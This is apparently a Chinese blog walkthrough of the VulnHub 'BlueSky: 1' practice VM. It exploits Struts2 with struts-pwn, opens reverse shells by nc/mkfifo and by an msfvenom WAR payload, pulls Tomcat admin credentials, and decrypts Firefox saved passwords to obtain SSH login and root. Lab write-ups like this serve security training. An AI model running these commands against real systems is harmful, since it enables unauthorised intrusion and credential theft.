作者:ch4nge
时间:2021.1.21
靶场信息:
地址:https://www.vulnhub.com/entry/bluesky-1,623/
发布日期:2020年12月10日
难度:简单
目标:获取root shell即(root@localhost:~#),然后在/root下获取标志
运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)
前言
由于刚开始使用VirtualBox搭建没有扫描到靶机的ip,VMware 没有遇到这个问题,所以本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练通过kali系统进行,按照渗透测试的过程进行。这是我找的比较新的一个vulnhub靶场,此次靶机渗透级别为简单,但是操作并不算简单。文章有不对的地方欢迎师傅指正~
一、信息搜集
1. 靶机ip
使用nmap进行扫描,得到ip 192.168.147.136
nmap -sP 192.168.147.0/24
但是仅看这个结果还无法判断哪个IP是靶机的,我们指定常用端口进行扫描
nmap -sS -p80,443,8080,22,3306 192.168.147.0/24
这样就可以准确的判断出靶机IP了,也可以使用
nmap -sS -P 192.168.147.0/24
-P不指定参数,默认扫描top1000端口
2. 靶机端口服务版本
nmap -sS -sV -T5 -A -p- 192.168.147.136
得到
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.40
openssh和tomcat版本都比较高呀
3. 网站信息搜集
访问192.168.147.136:8080
使用的是apache tomcat的中间件
二、漏洞探测
搜索了apache tomcat版本的漏洞、又扫描目录都没有结果,尝试openssh枚举用户名也没有收获。好难的简单难度呀!
找了一下大佬的做法,发现有一个大佬前天刚发布的视频操作,嘿嘿~赶快学习一下
链接https://www.油管.com/watch?v=vCLGxC5KMLU
由于我的爱国情怀,英语水平就低了,听不懂大佬说的话,直接看了下操作,利用的是Struts2漏洞,
但是我的扫描器为什么扫描不到这个漏洞的路径呢?难受,先把这个路径添加到我的字典里面去~
http://192.168.147.136:8080/struts2-showcase/index.action
使用Struts2版本漏洞测试工具可以检测到漏洞存在
这里使用网上的exp脚本进行漏洞利用。搜索一下这个漏洞的利用exp,git到本地,进行漏洞利用
下载exp
git clone https://github.com/mazen160/struts-pwn.git
漏洞测试
python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action"
三、漏洞利用
1. 命令执行漏洞利用
python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action" -c "whoami"
使用nc反弹shell,先查看nc命令是否存在
查看nc是否存在-e参数,结果不存在
使用管道进行重定向,反弹shell,命令解析参考链接(很详细)
先创建一个管道
mkfifo /tmp/p p
本地监听4444端口,等待反弹shell
nc -lvp 4444
反弹shell,将内容传递使用管道文件p作为桥梁,进行数据重定向传递
python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action" -c "/bin/sh 0</tmp/p | nc 192.168.147.129 4444 1>/tmp/p"
使用python3将shell升级为交互式shell(靶机没有python2环境)
python3 -c 'import pty; pty.spawn("/bin/bash")'
得到user.txt
Try your best, you have passed the first challenge, and the last one is for you, root me!
2. 服务器信息搜集
因为web中间件是tomcat,tomcat路径为/usr/local/tomcat,我们可以找到tomcat的用户名密码文件/conf/tomcat-users.xml
要就要管理员
username:admin
password:6mzf3>gfZ.pN8_Mp
登录一下试试
ok~发现下面可以部署war文件
3. WAR木马上传反弹shell
msfvenom可以生成WAR格式的木马进行反弹shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=5555 -f war -o shell.war
上传文件
监听端口5555,然后访问shell(点击)
得到shell,同样的,使用python3升级为交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
4. mozilla firefox信息搜集
在用户根目录下发现mozilla firefox浏览器文件
对我来说,最想要得到的就是它的用户名密码记录
不同版本的Firefox保存密码记录的文件名称不同,在网上找到firefox浏览器存储用户名密码的文件是logins.json(版本号大于等于32.0)或者signons.sqlite(版本号大于等于3.5,小于32.0),具体信息参考
使用locate得到它的位置
minhtuan@ubuntu:~/.mozilla$ locate logins.json
locate logins.json
/home/minhtuan/.mozilla/firefox/fvbljmev.default-release/logins.json
使用脚本进行解密,脚本来源,支持环境python3,支持key3.db和key4.db的Password解密
git clone https://github.com/lclevy/firepwd.git
cd firepwd
pip3 install -r requirements.txt
运行文件会提示需要key4.db or key3.db
在靶机中建立http服务,在本地将文件下载出来
再次运行exp文件,得到用户信息,这个用户密码就是ssh的用户密码
用户名:minhtuan
密 码:skysayohyeah
四、权限提升
使用sudo -l进行提权
得到标志
Amazing, goodjob you!
Thank you for going here
SunCSR Team
总结
这次的靶场感觉难点在于Struts2漏洞的探测,还有就是需要注意tomcat的信息搜集(用户名密码配置文件)、mozilla firefox的密码记录文件,这三点是通过游戏的关键,现在还不明白如何探测到Struts2漏洞的,因为我的扫描器没有扫描到此漏洞,求路过的师傅解惑 QAQ